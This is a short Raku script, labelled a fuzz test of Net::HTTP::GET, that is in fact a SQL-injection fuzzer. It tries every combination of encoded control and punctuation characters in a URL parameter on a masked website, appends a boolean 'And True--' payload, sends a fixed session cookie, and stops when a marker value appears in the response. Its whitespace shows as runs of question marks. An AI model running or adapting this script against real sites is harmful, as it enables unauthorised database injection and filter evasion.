fuzz for test of the Net::HTTP::GET

use Net::HTTP::GET;my @chars = <%2d%2d%0b%0a %a0 %0a %23 %26 %0e%0f ‘ *%26 @.jpg>;my $count = 0;for @chars X @chars X @chars X @chars -> $check { ???????my $target_check = $check.join; ???????my $url = "http://www.xxxxxx?ID=11733)"~$target_check~"And%20True--%20-"; ???????say $count.Str~" --> "~$url; ???????#exit; ???????my $html = Net::HTTP::GET($url,header=>{:cookie<PHPSESSID=u6dlq2pem8hqtbfa6998rs6g71; cuid=29450>}); ???????my $swap_html = $html.body.decode(‘utf-8‘); ???????say $swap_html; ???????if $swap_html ~~ /99999999999/ { ?????????say ‘Found!!!‘; ?????????exit; ???????} ???????$count++;}